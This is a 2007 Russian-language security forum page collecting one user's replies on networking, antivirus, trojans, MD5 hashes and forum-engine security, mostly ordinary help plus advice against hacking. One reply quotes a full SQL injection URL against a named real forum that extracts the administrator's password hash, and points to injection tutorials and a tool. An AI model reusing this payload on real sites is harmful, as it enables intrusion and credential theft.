Security Lab



Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти  
Форум » Пользователи » Shanker
Выбрать дату в календаре…Выбрать дату в календаре

Страницы: Пред. 1 ... 23 24 25 26 27 28 29 30 31 32 33 ... 70 След.
Невзламываемый движок для форума
 
#
03.05.2007 02:41:31
Цитата
Геннадьевич пишет:
Ну авторы то не пишут что в них вшит шелл
Но преценденты публичные были? Если известны - поделись, пожалуйста, ссылкой :)
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Shared Folders Authorization
 
#
03.05.2007 02:38:23
У меня всё работает без Guest: он по-дефолту вырублен, однако по-дефолту винда даёт лазать по папкам Public и Shared

А с анонимным доступом все юзеры с других компов, что лезут на свой - автоматом прозрачно идентифицируются учётной записью, под которой загружена винда удалённая.
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
microsoft.com не загружается :(((, помогите, пожалуйста
 
#
03.05.2007 02:35:32
Вроде с трейсертом всё в порядке...
Ты уверен, что никакие файерволлы ничего не фильтруют?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Как узнать версию phpbb?
 
#
03.05.2007 02:28:20
Цитата
fowl пишет:
на запрос то ты хоть взглянул? там используется SELECT * . Я пробывал и UNION SELECT * - та же ошибка. Лучше вместо того чтобы критиковать,дал бы совет.
Я тебе уже дал совет в виде ссылки, где очень толково всё объяснено. По твоим вопросам можно сделать вывод, что ты не читал. Если ты не хочешь утруждать себя чтением - в таком случае я не буду утруждать себя помощью
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Чем расшифровать MD5?
 
#
03.05.2007 02:22:38
Цитата
Crusade пишет:
Чем расшифровать MD5? че ит долго искал... ничего не нашел подходящего.
Только брутфорс. И то, это не расшифровка будет. Ибо, как сказали, это хеш-функция
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Как узнать версию phpbb?
 
#
02.05.2007 19:19:25
Цитата
fowl пишет:
подскажите pls,как можно получить хэш админа.Много пробывал - никак не получается.http://www1.forum.eksmo.ru

http://www1.forum.eksmo.ru/search.php...t%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,3­4,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,­104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,ch­ar(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,­115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,­54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20forum_users%20where%20user_id=2/*
А ты вообще понимаешь к чему именно такие запросы? Когда ты поймёшь что к чему - сам ответишь на свой вопрос. А без понимания того, что ты делаешь - сам не получишь результата

Цитата
fowl пишет:
Но что-то мускул всё с количеством колонок ругается.Как быть?
Усердно подбирать. Отличный сайт с информацией по этому делу: http://injection.rulezz.ru

Можно ещё попробовать для подбора воспользоваться программой SQL Injection Tool. Но лучше всё-таки почитай мануалы в ссылке выше, если тебя интересуют именно новые знания, а не минутная сомнительная слава
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
microsoft.com не загружается :(((, помогите, пожалуйста
 
#
02.05.2007 18:49:08
Совсем туплю: этому сайту соответствует несколько IP. Так что с dns-резолвингом действительно всё в порядке

У тебя связь с инетом не через прокси?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Троян
 
#
02.05.2007 00:06:24
DrWeb и Касперский ловят эту гадость

Цитата
Сергей пишет:
и каки права ставить?
Не понял: на что права?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Домашний сервер....
 
#
01.05.2007 23:07:34
Сергей,
Думаю, стоит начать с того, чтобы определиться:

1. Какие задачи будет решать сервер?
2. Какие требования к нему?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Троян
 
#
01.05.2007 23:04:21
Цитата
Сергей пишет:
а бороться как с этой заразой?
Антивирусом и чтением этого топика
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
microsoft.com не загружается :(((, помогите, пожалуйста
 
#
01.05.2007 23:02:49
Возможно, у тебя вирус, который не даёт загрузить сайт.

Посмотри файл %windir%\system32\drivers\etc\hosts на наличие добавок microsoft.com и ему подобных

Попробуй пропинговать сайт. Пинги не идут, но IP должен определиться как: 207.46.19.254
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Локальная сеть
 
#
01.05.2007 22:58:46
Самый лучший вариант - договориться с провайдером, чтоб можно было торой комп подключить. Или с отдельными настройками или с частично совпавдающими. Ну или NAT, как здесь посоветовали
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Shared Folders Authorization
 
#
01.05.2007 22:54:50
Цитата
°°°Trojan°°° пишет:
comcfg, dfs$, PACKAGES$ ????
Ты уже 3 раза спросил. За это время в гугле бы давно ответ нашёл
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Как залезть в базу данных?
 
#
01.05.2007 14:16:04
Цитата
Kollector пишет:
А где можно узнать про "wget , curl , fetch, links,lynx, get" и с чем его едят.......
Читай тут:
http://www.xakep.ru/magazine/xa/070/060/4.asp

А вообще, мой совет тебе: забей на взлом, если не хочешь променять славу на решётку. Судя по твоим вопросам - шансы у тебя очень большие
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Невзламываемый движок для форума
 
#
01.05.2007 14:03:43
Цитата
Ярослав Иванов пишет:
Да, т.к. выложили в Интернет "инструкцию по взлому для чайников". Движок был IPB 2.0.4 (лицензионный, подаренный хорошим знакомым, поэтому специализированные "включения" в код исключены).
Во-первых, судить о взломе не по логам, а по тому, что в сети существует описание к взлому - по меньшей мере ошибочно.
Во-вторых, я спрашивал именно про vBulletin

Цитата
Геннадьевич пишет:
Ну, а почти во всех НУЛЯХ впарены шел коды - для чайников - страждущих халявы,
А есть ссылки на подобные протрояненные движки? Посмотреть охота  :D


Цитата
Ярослав Иванов пишет:
Думаю, что получится нормально, хотя форумы никогда не писал. С моей точки зрения, это будет идеальный вариант, т.к. довольно просто исключить XSS (посредством отсутствия возможности что-либо вставлять, кроме <b><i> и загружать аватар), а также SQL-injection (что, в принципе, исключить не так сложно).
Интересно: чего это спецы из IPB и phpbb никак не могут справится с такой "простоя работой" ?
Дашь потестить движок как напишешь? :)
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Протектор кода в Visual Studio 2005, Нужно что-то вроде Code Guard'а
 
#
01.05.2007 02:27:36
Ну блин, это понятно. Но этого мне не достаточно!
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Уязвимости, Нужна помощь
 
#
01.05.2007 02:20:01
Цитата
Геннадьевич пишет:
Как он достает закрытый наглухо Index ?
С чего это index закрытый на глухо? И от кого закрытый?  :oops:
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
cgi скрипты, Вопрос
 
#
01.05.2007 02:16:07
Цитата
not null пишет:
Если сайт динамический - обязательно присутствуют
А как же php и ajax - это не динамические?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Тест антивирусов
 
#
01.05.2007 01:35:12
Цитата
Shad0vv пишет:
А на домашней машине можно ограничиться и одним фаерволом и каким-нибудь gmer'ом\IceSword'ом.
Ага: не ставим антивирь, зато руткита забабахаем. Интересная логика

А если знакомые дают вордовский файл, а он заражён? Или при посещении страницы дрянь какая просочится?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Почта достали, помогите
 
#
01.05.2007 01:31:19
Цитата
ZEROska пишет:
вобшем каждый день приходят на почту два письма по метр восемдесятпустыев смысле вообше пустые без каких либо заголовков авторов итд.
Быть того не может! Что тогда занимает столько места, если ничего нет?

Да и насчёт заголовков - правильно сказали тебе. И сами заголовки столько весить не могут!
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Перейти    
Страницы: Пред. 1 ... 23 24 25 26 27 28 29 30 31 32 33 ... 70 След.